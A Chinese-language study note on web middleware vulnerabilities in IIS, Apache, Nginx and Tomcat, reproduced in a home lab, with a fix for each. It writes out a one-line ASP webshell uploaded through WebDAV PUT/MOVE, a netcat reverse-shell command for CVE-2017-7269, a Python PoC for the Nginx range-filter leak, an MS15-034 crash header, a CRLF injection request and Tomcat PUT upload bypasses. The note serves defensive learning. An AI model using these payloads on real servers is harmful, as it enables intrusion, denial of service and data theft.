中间件漏洞汇总(代码片段)

lainwith lainwith     2023-04-08     551

关键词:

目录

文章内容没啥新颖的,只是温习了中间件漏洞输出成笔记而已😝

一些地址

下面的地址,详细的记录了中间件漏洞,我这里再学习复现一部分。
全网最全PDF版本:Web中间件常见漏洞总结.pdf
中间件漏洞复现:https://blog.csdn.net/zy15667076526/category_10361202.html

什么是中间件

我们经常管web中间件叫做web服务器或者web容器,中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

常见的web中间件有以下这些:

  • iis
  • apache
  • tomcat
  • nginx
  • jboss
  • Weblogic
  • WebSphere

iis6x篇

使用内部靶场 Windows Server 2003 Standard x64 Edition,以NAT模式运行,选择自动获取DNS、IP,修改物理机hosts配置文件,添加站点 upload.moonteam.com

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0

漏洞复现

  1. 开启 WebDAV 和写权限

  1. 打开网站,抓个包

  1. 把数据包发送到重放模块,GET方法改为OPTIONS,查看网站支持哪些协议

我们要用到的PUT和MOVE方法,网站都支持。

  1. 上传一句话木马

文件不能是asp后缀,否则会失败,可以上传txt格式的,然后借助MOVE方法改文件后缀

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 23

<%eval request("cmd")%>

如果上传asp后缀的,会直接失败。

  1. 修改后门文件的后缀

注意:请求包的最后是要有2个换行的,就是下面图片中的第4、5行

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/text.asp


  1. 连接菜刀

防御方式

方法1:关闭webdav

方法2:关闭写入权限

解析漏洞-基于文件名

原理

该版本默认将 *.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp。这里举个例子,可以看到.cdx扩展名被解析成asp。

复现

访问 sb.asp;1.jpg,可以直接看到大马。

大马内容:

防御

  1. 禁止创建和上传此类畸形文件
  2. 图片存放目录设置成禁止脚本文件执行
  3. 升级iis版本

解析漏洞-基于文件夹

原理

该版本默认将 *.asp/ 目录下的所有文件当成 asp 解析

复现

创建文件 .asp 文件夹,上传图片后缀的后门到此目录

去靶机后台看看,发现网站目录下有名为 c.asp 的文件夹,里面有个被改成jpg后缀的大马。

防御

  1. 禁止创建此类文件夹
  2. 升级iis版本

IIS短文件漏洞

介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

**短文件名特征: **

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增。

  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

  1. 所有小写字母均转换成大写的字母
  2. 长文件名中包含多个 . 的时候,以文件最后一个 . 作为短文件名的后缀

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包

含空格或者其他部分特殊字符,不论长度均会生成短文件。

复现

提醒一下,IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在;显示的404,说明目标存在该短文件名。
注:* 可以匹配n个字符,n可以为0

举个例子:

  1. 在网站下面新建一个名为 abcde1231111.txt 的文件

其对应的短文件名如下图

  1. 访问网站

访问:http://upload.moonteam.com/a*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab1*~1*/a.aspx ,返回400
通过这种暴力猜解的方式,适合程序做。下载工具:

第一个工具:IIS Short Name Scanner (适合windows)
下载下来之后,直接双击bat运行

打开之后,长这个样子

第一个选项:输入目标网址
第二个选项:你想使用一个新的配置文件吗
第三个选项:您是否只想验证目标是否易受攻击而不彻底扫描它
第四个选项:设置线程

第2个工具:IIS_shortname_Scanner (需要python2环境)
我这里是在kali中运行的,记得改一下hosts配置文件

测试结果

防御

  1. 升级.net framework
  2. 修改注册表键值:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem
修改 NtfsDisable8dot3NameCreation 为 1。修改完成后,需要重启系统生效。

  1. 命令行关闭,输入命令fsutil behavior set disable8dot3 1,然后重启系统。

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要将其先复制,再删除,再粘贴进去才行。

RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne 信息服务 IIS6.0 中的 WebDAV 服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求。

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

直接使用EXP:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 6666	#开启监听
python iis6\\ reverse\\ shell 192.168.239.151 80 192.168.239.141 6666	#反弹shell

防御

  1. 关闭 WebDav服务
  2. 产品升级
  3. 部署安全设备

iis7x篇

使用内部靶场 08server1 进行测试。以NAT模式运行,选择自动获取DNS、IP。

文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,对于任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件。

复现

  1. 先访问下phpinfo。打开网站(免得还得看网站地址、端口啥的)

  1. 在网站根目录下准备一个1.jpg的文件,文件内容如下图

  1. 成功解析出1.jpg

防御

配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

此时,再刷新网页,会发现漏洞已经没了

HTTP.SYS远程代码执行(MS15-034)

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入。IIS服务进程依赖HTTP.SYS,HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。(暂无相关EXP,目前只能实现DoS效果,把目标打成蓝屏)

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

方式1:
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

响应码304,失败了。

解决办法很简单,删除多余的请求头就行了。

方法2:
poc 地址:https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

方法3:

电脑已经死机了,什么都动不了

修复建议

安装修复补丁(KB3042553)

apache篇

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构

  • bin:存放常用命令工具,如httpd
  • cgi-bin:存放linux下常用命令,如xxx.sh
  • error:错误记录
  • htdocs:网站源码
  • icons:网站图标
  • manual:手册
  • modules:扩展模块

未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。那么哪些后缀Apache不认识?不在mime.types 里面的都不认识 (Multipurpose Internet Mail Extensions)

  1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
  2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
  3. 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。

复现

这里使用phpstudy进行复现。

实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的._

$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

原理

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php,那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现

取消注释httpd.conf文件中的AddType application/x-httpd-php .php .phtml,那么,如果文件后缀中存在.php.phtml,文件就会被解析成php文件

制作一个测试文件

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 把配置不当的文件进行修改

目录遍历漏洞

原理

原理:当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

就是下图的一个效果,网页中会显示出网站的目录结构。说起来,我自己的所有靶机都开启了这个目录浏览😂

防御

找到 httpd.conf,把到 Options + Indexes + FollowSymLinks + ExecCGI 修改成Options -Indexes +FollowSymLinks +ExecCGI并保存,然后重启phpstudy即可。

    • Indexes 允许目录浏览
    • Indexes 禁止目录浏览

这个时候,再尝试访问就不行了。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

复现详情参见:CVE-2017-15715 Repetition

漏洞描述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配 \\n\\r
影响范围:Apache 2.4.0~2.4.29版本

漏洞复现

使用内部靶场

  1. 打开环境

  1. 上传一个phpinfo的文件

  1. 直接上传是要失败滴

  1. 在test.php后面添加一个空格,然后通过16进制编辑,把空格改为0a

  1. 访问上传的文件,直接访问是要失败滴

  1. 访问地址后面添加0a即可

nginx篇

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

漏洞描述

该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。在已经上传了恶意文件1.jpg后,访问/1.jpg/xxx.php,使得Nginx将其解析为php文件传给php-cgi程序(传给路径位于SERVER[“SCRIPT_FILENAME”],修复去除路径位于SERVER[“PATH_INFO”]),但cgi程序将其解析为1.jpg并执行。

cgi.fix_pathinfo=1说明存在漏洞

复现

这里在网站根目录下准备一个phpinfo的文件,后缀改为jpg

修复方案

  1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
  2. php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历漏洞

漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

漏洞原理

修改nginx.conf,在如下图位置设置为autoindex on

复现

漏洞修复

  1. 设置 autoindex off 关闭目录浏览

  1. 删除 autoindex on

空字节代码执行漏洞

漏洞描述

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问 url+%00.php 来执行其中的php代码。如:http://local/robots.txt.php会把robots.txt文件当作php来执行。
影响版本:

  • nginx 0.5.*
  • nginx 0.6.*
  • nginx 0.7 <= 0.7.65
  • nginx 0.8 <= 0.8.37

漏洞复现

图源网络,本地暂无环境

  1. 开启nginx

  1. 在网站目录下添加1.jpg文件

  1. 访问该文件

  1. 抓包,添加%00

这里由于该图非正常,在抓包时最后面添加 ..,可以让burpsuite抓到

把请求修改为/1.jpg..php,然后发包即可

漏洞修复

  1. 在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*)\\.php) 
	set $php_url $1;

if (!-e $php_url.php) 
	return 403;

  1. 升级 nginx

整数溢出漏洞(CVE-2017-7529)

漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。

漏洞复现

POC地址:https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529
POC代码:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = 
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"

offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  1. 打开内部测试靶场

  1. POC开打

CRLF注入漏洞

漏洞描述

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF注入漏洞

漏洞复现

设置https跳转,这样就可以接收到url,进而进行处理。在nginx.conf文件中添加下面一行话。return 302 https://$host$uri;,在配置原有基础上增加这一行信息,目的是为了让http的请求跳转到https。

方法1:

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.239.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

方法2:
访问https://localhost/%0ASet-cookie:JSPSESSID%3D3

漏洞修复

删除配置不当的配置

文件名逻辑漏洞(CVE-2013-4547)

漏洞描述

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞复现

暂不具备相关环境,漏洞浮现详情参见:Nginx 文件名逻辑漏洞(CVE-2013-4547)

tomcat篇

tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍:

|-- webapp # 站点根目录
    |-- META-INF # META-INF 目录
    |		 `-- MANIFEST.MF # 配置清单文件
    |-- WEB-INF # WEB-INF 目录
    | 	|-- classes # class文件目录
    |   | 		|-- *.class # 程序需要的 class 文件
    | 	| 		`-- *.xml # 程序需要的 xml 文件
    | 	|-- lib # 库文件夹
    | 	|		 `-- *.jar # 程序需要的 jar 包
    | 	`-- web.xml # Web应用程序的部署描述文件
    |-- <userdir> # 自定义的目录
    |-- <userfiles> # 自定义的资源文件

  • webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
  • META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生成。
  • WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
  • /WEB-INF/classes:存放程序所需要的所有 Java class 文件。
  • /WEB-INF/lib:存放程序所需要的所有 jar 文件。
  • /WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组成应用的其它组件,以及应用初始化参数、安全管理约束等。

Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)

漏洞复现

  1. 启动内部靶场

  1. 访问站点,并抓包

  1. 上传websell

这里使用冰蝎,主要是冰蝎自带多种类型的webshell,这里使用jsp格式的。
支持三种上传绕过方式,默认使用 PUT 加文件名是失败的,需要绕过:

  • PUT /shell.jsp%20
  • PUT /shell.jsp::$DATA
  • PUT /shell.jsp/

  1. 发送数据包,看到是201响应码,应该是成功了。试着访问一下webshell地址

  1. 连接冰蝎

查看详情

weblogic历史漏洞汇总与复现(代码片段)

...一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和JavaEnterprise标准的安全性引入大型网络应... 查看详情

ckfinder-漏洞-汇总(代码片段)

CKFinder1.4.3任意文件上传Date2014影响范围1.4.3 查看详情

thinkphp-漏洞-汇总(代码片段)

ThinkPHP5.x远程命令执行Date2018年末影响范围5.x<5.1.31,<=5.0.23 Orderby注入漏洞Date2018.8影响范围v3<=ThinkPHP3.2.3v5<=5.1.22 查看详情

应用安全-平台|工具-centreonweb-漏洞-汇总(代码片段)

简介产地法国用途监控分布 CVE-2019-16405https://thecybergeek.co.uk/cves/2019/09/19/CVEs.html 查看详情

应用安全-框架-phpcms-wordpress-漏洞-汇总(代码片段)

xmlrpc.phpDate类型DOS影响范围 查看详情

web中间件漏洞(代码片段)

...洞等级高危漏洞描述nginx文件解析漏洞产生的原因是网站中间件版本过低,可将任意文件当作php可执行文件来执行 查看详情

应用安全-javascript-框架-jquery-漏洞-汇总(代码片段)

jQueryCVE-2019-11358Date2019类型原型污染影响范围 CVE-2015-9251 Date2015类型跨站影响范围<jQuery3.0.0 查看详情

应用安全-工具|数据库-redis-漏洞-汇总(代码片段)

未授权访问Date类型未授权访问导致getshell影响范围复现(1)shell反弹(2)结合SSH服务(3)结合web服务分析 查看详情

应用安全-工具|框架-sharepoint-漏洞-汇总(代码片段)

简介开发商微软数据库MicrosoftSQLServer语言ASP.NET CVE-2019-0604Date2019初类型远程命令执行影响范围MicrosoftSharePointServer2019MicrosoftSharePointEnterpriseServer2016MicrosoftSharePointFoundation2013ServicePack1MicrosoftSharePointServer2010ServicePack2 查看详情

apache中间件漏洞学习(代码片段)

文章目录ApacheHTTPD换行解析漏洞(CVE-2017-15715)原理:复现:ApacheHTTPD多后缀解析漏洞原理:复现:ApacheSSI远程命令执行漏洞原理:复现:Apachejobmanager/log目录穿越漏洞以及任意文件上传漏洞原理࿱... 查看详情

应用安全-邮件系统-extmail-漏洞汇总(代码片段)

前台SQL注入payload(username处存在延迟注入):admin‘ANDif(ascii(substring(user(),1,1))>104,benchmark(2000000,md5(0x72696e67)),1)%23 前台敏感信息泄露payload:http://xxx.xxx.com/extmail/cgi/env.cgi  查看详情

神兵利器:常见中间件漏洞利用脚本库(代码片段)

0x01Exphub目前包括Webloigc、Struts2、Tomcat、Drupal的漏洞利用脚本,均为亲测可用的脚本文件,尽力补全所有脚本文件的使用说明文档,优先更新高危且易利用的漏洞利用脚本。0x02Readme漏洞利用脚本库包括多种不同名称、... 查看详情

应用安全-编程语言漏洞-php语言漏洞汇总(代码片段)

CVE-2019-11043Date:2019.9.16类型:远程代码执行前置条件:Nginx+fastcgi+php-fpm配置文件信息如下:location~[^/].php(/|$)...fastcgi_split_path_info^(.+?.php)(/.*)$;fastcgi_paramPATH_INFO$fastcgi_path_info;fastcgi_passphp:9000;...影响范围:version>php7,php5(EXP暂无)PoC:... 查看详情

中间件漏洞总结(代码片段)

什么是中间件        中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运... 查看详情

xss漏洞利用方式汇总(代码片段)

文章目录一、窃取Cookie1.1目的1.2实操搭建xss平台获取Cookie二、广告传播/SEO优化/刷取流量2.1目的2.2实操2.2.1恶意刷取访问量网页直接跳转网页延迟跳转2.2.2恶意广告展示三、网页挂马/权限提升3.1目的3.2环境3.3实操3.3.1生成木马URL3.3... 查看详情

常见未授权访问漏洞汇总(代码片段)

...导读:本文覆盖了目前网络资讯上公布的30+种未授权访问漏洞本文把未授权访问漏洞按照默认端口顺序从小到大排列,对于默认端口可进行批量端口探测服务,再进一步进行漏洞检测,逻辑清晰,方便学者学习和漏洞复现。本文... 查看详情

web中间件漏洞复现合集---iis篇(代码片段)

...ff09;漏洞修复前言        从大佬们那里学习了一下Web中间件相关漏洞,这次尝试复现IIS常见的一些漏洞,包括PUT漏洞、短文件名猜解、远端代码执行、解析漏洞等。复现也有靶场环境搭建,漏洞介绍与修复方法。... 查看详情